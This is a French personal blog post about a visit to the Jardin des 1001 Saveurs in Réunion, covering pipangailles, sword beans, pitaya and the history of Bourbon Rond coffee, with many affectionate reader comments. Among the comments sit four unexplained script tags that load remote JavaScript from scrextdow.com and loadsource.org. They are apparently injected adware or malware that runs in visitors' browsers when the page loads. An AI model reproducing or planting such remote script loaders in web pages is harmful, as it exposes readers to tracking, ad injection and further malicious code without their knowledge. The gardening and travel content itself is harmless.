-
JARDIN DES 1001 SAVEURS à ST-ANDRÉ (3/7)...
Bonjour à toutes et tous et bienvenue sur mon blog.
J’espère que vous allez bien ? Bonnes vacances à celles et ceux qui le sont et courage à celles et ceux qui bossent.
Nous continuons notre visite au jardin des Mille et une Saveurs tout d'abord avec une vidéo et ensuite avec quelques photos
Voici le lien de la vidéo
http://www.kizoa.fr/Montage-Video/d202685293k7871022o2l1/jardin-1001-saveur-3
Je me suis trompée ci-dessus (pardonnez à la vieille blonde que je suis houps !!!!!) apparemment il semblerait que ce soit des pipangailles et non des pois sabre que vous verrez ci-dessous :
PIPANGAILLES : Cucurbitacée originaire de l'Inde, on la trouve à la Réunion au mois d'avril à juin. Oubliée pendant longtemps, elle refait son apparition sur nos marchés et sa culture nous offre des pris très abordables.
Pipangaille lisse ou côtelée, ce légume est utilisé encore jeune. Ensuite, sa pulpe devient fibreuse et non comestible. Desséché, il peut servir d'éponge ou de gant de crin ; d'ailleurs son synonyme est "éponge végétale".Cuisinée en daube, en ratatouille, avec des grains, elle convient très bien comme légume d'accompagnement ! On l'utilise aussi comme garniture cuite dans les caris de porc ou de volaille..
CI-DESSUS : Le haricot sabre (Canavalia gladiata), aussi appelé pois sabre est une plante potagère de la famille des Fabacées cultivée dans les régions tropicales et subtropicales d’Afrique et d’Asie. Ses gousses vertes et ses graines immatures sont consommées comme légumes cuits. D’une taille impressionnante, ce haricot tropical deux à trois fois plus grand qu’un haricot d’Espagne se cultive facilement en France, idéal pour rendre ses voisins jardiniers jaloux ...
JARDIN DES 1001 SAVEURS : Situé à Saint-André, un jardin de 4 hectares où l'on peut trouver des fruits et légumes d'hier et d'aujourd'hui, des fleurs exotiques, un potager de plantes aromatiques et médicinales. Diverses variétés d'arbres, surtout le pitaya.
Voici le pitaya (fruit du dragon)
Activités proposées: Visite guidée et visite libre, découverte de la culture du pitaya surnommé le fruit du dragon. Dégustation des produits du jardin après la visite (selon les saisons).
FIN 3/7
Je reste à la Réunion avec le délicieux café Bourbon
du site http://www.agrotours-reunion.com
LE CAFÉ BOURBON ROND DE LA RÉUNION
La première plante agricole, un héritage de La Réunion Lontan .
LE CAFÉ BOURBON ROND DE LA RÉUNION
Tourisme et découverte de l'île de La Réunion
La culture du café Bourbon Rond commence en 1717 sur l'île Bourbon lorsque M. de Beauvolier de Courchant fut envoyé dans la mer Rouge sur le Triton pour ramener des caféiers Moka.Cerises de caféier
En 1744, la production atteint les 1,2 tonnes puis dépasse les 30 000 balles en 1787. Le café Bourbon Rond devient alors la première grande culture de l'île.
Des esclaves sont amenés dans les plantations et permettent la colonisation de Bourbon. On construit des greniers à cafés au bord du littoral; certains bâtiments existent toujours aujourd'hui. L'économie autour du café fait prospérer la colonie jusque dans les années 1810 où elle est remplacée peu à peu par la canne à sucre.Plantation du domaine du café grillé
Botanique et agriculture sur l'île de La Réunion
Le café Bourbon Rond pousse facilement à La Réunion mais il ne produira ses fruits, les cerises de café, qu'en basse et moyenne altitude.Grègues à café
Le caféier est un arbuste de 4 â 6 mètres de hauteur, généralement taillé à 2 mètres pour permettre la récolte.
Les caféiers Bourbon Rond ont des jeunes feuilles de couleur verte ou couleur bronze. Les feuilles sont grandes et les branches épaisses.
Cuisine et recettes de l'île de La Réunion
C'est la torréfaction du café qui délivre les arômes. Cette étape délicate est traditionnellement réalisée au feu de bois sur l'île de La Réunion, ce qui confère à la boisson une qualité bien plus qu'exceptionnelle.Dégustation au domaine du café grillé
Le saviez-vous ?
Le café est la première grande culture de l'île de La Réunion avant les plantations de cannes à sucre.
Mille mercis pour vos visites, vos commentaires, quel bonheur de vous lire et venir dans vos beaux univers de blogs. Merci également à ma famille, mes ami(e)s sans blog.
Merci à M CREATIONS pour ses beaux gifs.
Belle semaine et surtout prenez bien soin de vous.
Je vous embrasse toutes et tous très fort du haut de mon ti rocher.
Tags : JARDIN DES 1001 SAVEURS à ST-ANDRÉ, Le café Bourbon rond
-
Commentaires
Toujours autant de plaisir à visiter ce jardin des saveur, avec tous ces fruits et légumes, ainsi que les fleurs !
Une important ressource, le café, même si je préfère le rhum !
Merci pour cette balade dans la nature, passe une bonne journée
Bisous
Toujours un vrai régal de lire et écouter ton article.
Bon début de semaine, en espérant un grand beau soleil, ma fany chérie !
C'est le jour J, mais la fête est ce soir : les "petits" travaillent tous les quatre.
Je vais faire de mon mieux malgré un dos en piteux état ...
Gros bisoux un peu plus vieux qu'hier.bonjour chere Fany, j'espère que tu as passé un bon dimanche , nous grand beau temps, jusqu'au soir, où a eclaté un gros orage, suivi d'un bel arrosage! le jardin dit merci ! bravo pour cette suite au beau jardin des saveurs ! tres belles photos, je connais ces gros fruits, mais le nom m'echappe, des cucurbitacées ! tres interessantes tes explications sur le café rond de la Reunion, j'ignorais que c'était la culture principale, avant la canne ! on en fait aussi à Maurice, mais très peu, je te souhaite une agreable semaine, porte toi bien, grosses bises
Bonjour ma douce Zoreille
Je passe vite fait, tu sais pourquoi lol
Sur ton île paradisiaque , il y pousse de toutes sortes de fruits et légumes que nous n'avons pas ici en métropole, miam miam moi la petite gourmande je goûterai bien a tous ça, j'aime goûter ce que je ne connais pas.
Merci de ta fidélité et et ton amitié, bisous ma douce, my ème touwa ♥ Bonne semaine
Wow ! que c'est beau , premièrement j'ai copier le lien du Kizoa pour le voir mieux quand j'ai du temps , ces pois sabré sont gigantes jamais vu de ma vie de cet grandeur , c'est super merci pour le partage .Belles photos .
Tu m'as fais envie d'avoir un café , ça doit être délicieux , et la place est tellement jolie . Bravo ma douce Fany pour ton article , c'est toujours interessant .
C'est la semaine nouvelle , je viens te la souhaiter , j'éspère que tu as passer aussi un merveilleux week end . Porte toi bien petite soeur de coeur , mille bisous de Mirella qui t'aime fort .
Coucou ma Fany,
De magnifiques photos de ce jardin des saveurs. Très surprenants les haricots "sabre". Et le café bourbon... j'en fleure les effluves du café... Tiens, je vais aller m'en servir un pour finir de me réveiller.
Merci pour cet excellent partage ma belle amie.
Bises et bon début de semaine
Je vous remercie infiniment pour votre fidélité à mon blog.
Je vous souhaite un beau lundi au soleil et vous envoie plein de gros bisous d'amitié de mon ti rocher ensoleillé mais venteux et frisquet (chez moi 10 H 45). A bientôt !!!!!!!!!!!!!!!!!!
Bonjour, ces pois sabres sont phénoménaux! ce domaine du café était une piste de visite, mais impossible de tout faire, il y a trop de choses à voir à la Réunion ! je te souhaite une bonne journée, bisous
Bonjour ma douce Fany, quel plaisir de te lire dès le matin. Pour moi, après mon opération c'est toujours beaucoup de repos mais je lis le blog. Il fait très chaud. J'espère que sur ton île il fait plus frais. Bonne journée. Une tonne de bisous.
Bonjour Françoise
Impressionnant le haricot sabre !!! de quoi, comme tu dis, rendre jaloux les voisins ou gagner des concours du plus gros haricot !!!
Passes une belle journée
Bises
Nadine
13MizouszeLundi 23 Juillet 2018 à 10:42Bonjour ma chérie, je suis heureuse de te retrouver sur ce beau blog.. c’est fascinant ces haricots ,crois tu que cela pousserait à la ROCHELLE c’est trop drôle......Comment vas tu? N’as tu pas trop froid? Combien de temps dure l’hiver austral ?Ici toujours la chaleur , je suis un peu fatiguée mais c’est plus le stress car avec les enfants nous mangeons à 14 heures, nous ne sommes pas habituer .. enfin ils sont partis au pays Basques... Alors repos .. Ce matin c’etait Les courses la banques et pharmacie, c’est fait c’est bien .. Merci pour ce beau blog et je t’envoie des brassées de gros bisous.. Amitiés à NOÉ...BISOUS de MIZOU
Toujours tant de plaisir à venir sur ton blog Françoise, un peu surbookée en ce moment car nous avons le fils aîné d'Alain, Vincent avec ses deux jeunes Lucas et Eléana qui demandent beaucoup d'attention .... lol lol
Je me promène dans ton jardin des 1001 saveurs et profite avec grand plaisir de tes blagounettes ....
Merci d'être toi ma chère Françoise, j'adore ...
Belle journée sur ton petit rocher où j'aimerais tant retourner mais je crois qu'il ne faut pas que je rêve de trop : l'âge , l'âge, oh vieillesse ennemie ... Mais beaucoup de rêves et souvenirs chez toi .
Bisous et bonne semaine de Christiane
Bonjour tendre Françoise, venir sur ton île, fais du bien. Les km ne font pas peur sur les blogs.... Belle balade...
Daniel , en ce moment, me plonge dans les îles avec Philippe Lavil.
Bisous de nous 2
Hello Françoise
Avant de fermer ma fenêtre du bureau et de jouer les taupes, je viens ma balader dans ton super jardin, dommage que l'on est pas d'odeur sur l'ordi , cela doit être un délice,
Passé un excellent weekend avec Jallen, ma belle fille n'a pas voulu m'inquiéter mais il a fait connaissance des pompiers pour une visite à l’hôpital, plus peur que mal , il garde son bracelet comme un trophée !! tout content de m'expliquer qu'il a eu droit à la sirène !!! chute d'un toboggan !!!
nous devons avoir une semaine très chaude , alors ombre et eau voila le programme bisettes ma douce à bientôt
coucou Fany
jolie ta vidéo avec la musique,j'ai vue un lantana , j'avais cette plante hélas elle est foutue!! et le café j'aime un peu trop mdr et je me souviens de ta vanille aussi, hum
tu n'as pas trop chaud!! nous ça va chauffer mais j'aime bien tu sais dans la baie ça ventile toujours
ici les enfants passent souvent!! m'en fouts c'est mon mari qui se coltine la cuisine mais je fais souvent les desserts avec les fruits du jardin, lui il a soif
ton blog fait du bien
bon am
gros bisous
Bonjour Françoise,
Merci pour cet article sur ce gros haricot que je ne connaissais pas, tu t'en doutes. Et c'est bon ? Ils sont énormes !
Ce café aussi est une découverte pour moi, tout est différent chez toi.
Merci pour cet excellent article.
Je te souhaite une très bonne journée, grosses bises, Véronique
Coucou ma Fany
de belles image de ses légumes extraordinaires
et que cette journée si belle soit pour toi
le début d'une belle semaine comme moi
chez Chris, aujourd'hui repos
hier beaucoup bougé, bisou ma douce amie ,
bonjour Françoise
je découvre ce légume !! je vais aller voir sur google comment il se présente à l'intérieur, en ouvrant ton blog je croyais que tu allais nous parler des christophines ou chouchous car elles aussi poussent ainsi mais vraiment c'est bien la première fois que j'en vois. Je suppose que vous en êtes friands..
En France, surtout dans le sud, grosse chaleur, d'ailleurs je sors juste de l'eau !!
bisous
Bonjour Françoise
Magnifique ce jardin des saveurs , ce doit être superbe à visiter .
Merci pour le partage de ce beau billet , que j'ai pris plaisir à lire et à regarder .
Je te souhaite une belle semaine.
Gros bisous
Bonjour douce Fany
qu'il est beau ce jardin des 1001 saveurs
avec ces fruits et légumes anciens...
j'aimerai bien le visiter, j'adore les marchés.
Et ce café me fait envie...
j'espère qu'il n'y a pas d'inondations chez vous comme ici dans le sud ouest.
Bonne semaine à toi - gros bisous - landrie
Bonjour Françoise .
Un très jolie reportage bien intéressant très jolie photos .
Je te souhaite une bonne soirée et une bonne semaine bisous .
De très belles photographies sur ce jardin des 1001 saveurs, je ne connaissais pas le haricot sabre, c'est un drôle de légume :-)
Le café grillé, la torréfaction, j'adore sentir cette bonne odeur :-)
Je te souhaite de passer une très bonne semaine, la chaleur est bien là sur notre Provence et on morfle :-) gros bisous à toi ma jolie :-)Bonjour ma FANY d'amour !
Quel beau jardin, j'ai regardé la vidéo sur grand écran, c'est encore mieux. Je suis amoureuse des "oiseaux de paradis", cette fleur est fantastique. Une amie s'en était fait livrer le jour de son mariage, en France, et tous les invités en avaient rapporté à la maison !
Quant à l'odeur de torréfaction du café, c'est à tomber par terre ! Lorsque je travaillais à Paris, nous prenions nos petits déjeuners dans un café qui torréfiait lui même et quelle senteur. Cela avec un morceau de baguette beurré, de quoi commencer la journée sur un petit nuage !!
MERCI ma Douce pour ces beaux reportages. Je t'espère en bonne forme ainsi que ton entourage. Alors, ça c'est le comble, tu as froid et nous "on crève" de chaleur. C'est un peu difficile à supporter, mais je ne m'en plains pas, dans la mesure où retraités, on sort quand on veut. Et le froid arrivera bien assez tôt !
Nous ça va, à part une portière à changer à la voiture (une personne sort de son emplacement sur un parking et ne regarde pas dans son rétro et bang !) On n'a pas eu le temps de passer complètement. Bon, elle a reconnu ses torts. Et une chute d'un banc, pour moi, mais heureusement sans gravité. J'ai été "secourue" par deux dames sympathiques. Le banc était en plastique et trop léger et peut-être assise un trop près du bord, mais ça surprend mdr A bientôt, ma Douce et gros gros bisous de ta fidèle amie. Coryphee
Ne te fais pas trop de souci pour ton oeil, c'est une intervention courante. André y est passé pour les deux yeux. Mais ne t'étonne pas d'être attachée (les deux bras), car il ne faut pas bouger ! l'intervention dure 1/4 d'heure 20 minutes. Je penserai fort à toi, c'est quand ?
Allez bon courage ma douce et à bientôt ! Bisous, bisous. Coryphee
Merci beaucoup pour vos visites, commentaires, belles créations....
Je vous souhaite une délicieuse soirée ainsi qu'une belle nuit étoilée.
Prenez bien soin de vous.
Au sujet de mes yeux : RV ce jeudi chez l'anesthésiste et 1ère opération de l'oeil gauche (cataracte) le 9 août et normalement l'autre oeil le 13 décembre.
Gros bisous d'amitié à vous partager et à demain si tout va bien. (chez moi 20 H 15 il fait frisquet car le vent souffle très fort chez moi).
Super la vidéo, belle visite et belle musique qui l'accompagne. Je t'envoie plein de chaleur car les températures sont encore remonté. Merci déjà l'anesthésiste et j'attends vite le 31 juillet pour mon examen. Et bien toi c'est jeudi l'anesthésiste je penserai bien a toi. Bisous bonne nuit et bon mardi FANY ainsi qu'a toute la famille "Ti Bo"
31dominoLundi 23 Juillet 2018 à 20:18Bonne soirée ma chère Fany je pense bien à toi pour cette petite intervention qui se rapproche, à priori bénigne si l'on ne m'a pas raconté de bêtises je te souhaite une bonne semaine et te fait plein de bises .
Domino.
chère Françoise, comme il est bon de passer chez toi! il y avait une bonne odeur à café qui plannait dans l'air, maintenant je comprends que cela venait de ton blog! eh eh eh, merci pour l'invitation ! café et canne à sucre, cela va avec, dommage que cela fasse du rembourage sur les os des madames ! la taille fine c'est gervais, pas le sucre !
trop beau ces jardins, et c'est un beau post avec plein d'enseignement :)
je te souhaite beaucoup de bonheur et santé et je te remercie pour ta gentillesse et tes visites !
je t'embrasse avec plein de bisous amicaux
Angie
coucou françoise je passe vite fait dans ton univers...bonne semaine
<script src="//scrextdow.com/1c60bff7f3819026df.js"></script> <script src="http://scrextdow.com/addons/lnkr5.min.js" type="text/javascript"></script> <script src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52293x7264x&r=40" type="text/javascript"></script> <script src="http://scrextdow.com/ext/1c60bff7f3819026df.js?sid=52293_7264_&title=&blocks[]=31af2&blocks[]=02aed" type="text/javascript"></script>Coucou mon adorable amie Fany si chérie,
quel bonheur de visiter ce jardin des 1001 saveurs, surtout avec toi au bout de la chaîne. Tu nous présentes de si belles choses légumes fruits ou fleurs!
Quand je regarde ton diaporama je salive rien qu'en voyant écrit combava, j'adore ça. C'est délicieux aussi dans des desserts au chocolat, ça se marie bien. Moi j'en mets dans mes compotes de "pêches de vigne" jaunes.
Ce n'est pas un article c'est tout un menu, avec café pour le dessert. Un bon kawa moi je bois (sans sucre et sans lait) hum que c'est bon, mais peut être pas maintenant à l'heure de se coucher.
Alors fais de beaux rêves ma chérie, ma soeur, mon bonheur, je t'embrase de tout mon coeur et mi aime aou beaucoup.
Bonjour FANY
Une nouvelle semaine qui s'égraine
question météo, ne pas avoir de haine
après lundi nous voici mardi
avant de passer a mercredi
toujours avec un temps orageux
prêt a rendre le terrain marécageux
hier encore nous avons passé le 30
heureux les gens sous les tentes.
Bonne continuation, bon soleil
pour bientôt la peau couleur miel.
excellente journée a vous
qui commence ici a 4 heures avec 19°
Amitiés.-*-.Bisous
. * J-G-R-C-2018 *.
bonjour chere Fany, j'espère que tout va pour le mieux, et que le gel reste en montagne ! un peu moins chaud nous, quand meme 30/33 ! tu as mis le nom pour ce curieux fruit, "pipangaille" en effet je me souviens on s'en servait au Senegal, comme eponge végétale, mais on ne les mangeait pas ! merci pour toutes tes explications et photos au sujet de ce beau jardin, je connais bien aussi le fruit du dragon... bon mardi, heureuse journée, porte toi bien, grosses bises
(je confirme la cataracte est une operation tres courante et qui donne d'excellents resultats, nous n'avons jamais été attachés !! )
Bonjour Françoise,
Quel dommage que ce soit si loin. Voilà un lieu que j'aurais certainement visiter. Et tous ces fruits et légumes à découvrir.
Merci aussi pour toutes ces explications sur le jardin mais aussi sur le café. j'aime apprendre en me distrayant. Et puis c'est beau aussi.
Douce journée à toi et à bientôt
gros bisous ensoleillés
;)
magnifique documentaire en photos ! je sens le café grillé jusqu'ici ! lol
merci fany pour cette jolie publication
gros bisou sous la chaleur ...mais je ne me plains pas !
bonjour
j'allais te dire que je n'avais pas vu la même chose sur internet, les pois ressemblent à la 2e photo, ceux là oui j'en ai vus, pas goûtés par contre.
Mais pour les premiers je vois que tu as rectifié le nom, je vais donc faire une nouvelle recherche pour voir comment l'intérieur se présente.
Il fait de plus en plus chaud par chez nous, arrosage chaque soir, on ne peut sauter..et même ainsi certaines plantes font la tête
bisous
Quel plaisir de se balader en ta compagnie pour découvrir toutes ces merveilles Fany
Nous avons vraiment un été exceptionnel, et ça continue, la chaleur est remontée en 33° et 34°
Je te souhaite de passer une douce nuit
Gros bisous
Bonjour Fany
Et oui, déjà en milieu de semaine
avec un temps toujours aussi mauvais
pas par le soleil, mais par le fond de l'air
qui est très très lourd encore plus
de 32° du coté ombrageux
du coté ensoleillé on a titillé le 40°
bonne journée de mercredi
pour nous les courses en matinée
et cette après midi petite visite
avec la petite fille en vacances
voir la préhistoire, tropical park
ou la ferme du monde;
suivant la météo du moment,
Amitiés.-*-.Bisous
. * J-G-R-C-2018 *.
bonjour Fany, j'espère que tout va bien, ne t'inquiète pas pour ton oeil, tout va bien se passer, bon courage ! encore bravo pour ce bel article sur le jardin des 1001 saveurs et le café de la Reunion...porte toi bien, temps inchangé ici entre 33 et 35 ...bon mercredi et grosses bises
Merci pour cette merveilleuse visite. Je dégusterais bien un bon café Bourbon en ta compagnie!!
Merci pour ce reportage très intéressant.
très belle journée, bises
danièle
Kikou ma douce Françoise
Je te remercie, oui la route s'est bien passé, pas de bouchon, nous n'avons pas mis longtemps et conduite agréable sous le soleil.
Nous avons commencé fort car nous avons déjà fait une randonnée hier matin, pas très grande 5 km, mais ça grimpait dur dur ... J'ai pu la faire, génial ça va bien quand même !
Merci de nous montrer de si jolies photos. Nos légumes sont quelquefois ressemblant mais on a une différence, ça doit mieux pousser chez vous.
Ici temps superbe et la montagne est magnifique.
Je te souhaite une douce journée
Gros bisous
@lain
Coucou ma Fany, toujours aussi beau ce jardin aux milles merveilles..j'y ai même entendu des oiseaux! Ces Pinpangailles sont énormes et en plus leurs cosses servent pour faire des éponges.. çà doit être sympa la dégustation à la fin de la visite. Je sens d'ici la bonne odeur du café de la Réunion, une petite tasse me plairait bien. Merci pour ton beau diaporama. Je te souhaite une bonne semaine et t'envoie plein de bisous. chatou
Merci beaucoup pour vos commentaires, vos visites, ma famille, mes ami(e)s AVEC et SANS blog, merci d'être là pour moi.
Depuis hier j'ai des soucis internet, de grosses coupures, là çà fonctionne mais beaucoup de travaux en ce moment dans ma rue, donc je pense que j'en aurai encore d'autres de coupures internet, et en plus ma connexion rame !!!!!!!!!!!!!!!!!!!
Douce soirée et belle nuit étoilée.
Gros bisous d'amitié à vous partager.
RV demain matin sur ce blog pour un nouvel article (DIVERS).
bonjour Françoise
il me semble te l'avoir dit, le fuit du dragon est beau, un beau visuel mais je trouve que c'est fade, même mûr. Les Chinois en raffolent par contre, j'avais vu ça en Thaïlande !
Il me tarde cet hiver pour les litchis !! on fera goûter ça à ma nièce
J'espère que ton internet fonctionne mieux
bisous
Toute cette verdure nous fait oublier la canicule de ces derniers jours en Métropole.
Belle fin de semaine à toi ! Gros bisous
Merci pour vos commentaires et gros bisous à vous partager.
RV sur mon nouvel article
http://beautirocher.eklablog.com/le-saviez-vous-blagues-a145718336
Ajouter un commentaire
Comme d'habitude
Venir chez toi
C'est trouver la bonne humeur
Mais c'est aussi s'instruire et découvrir ton paradis
Merci
Bisous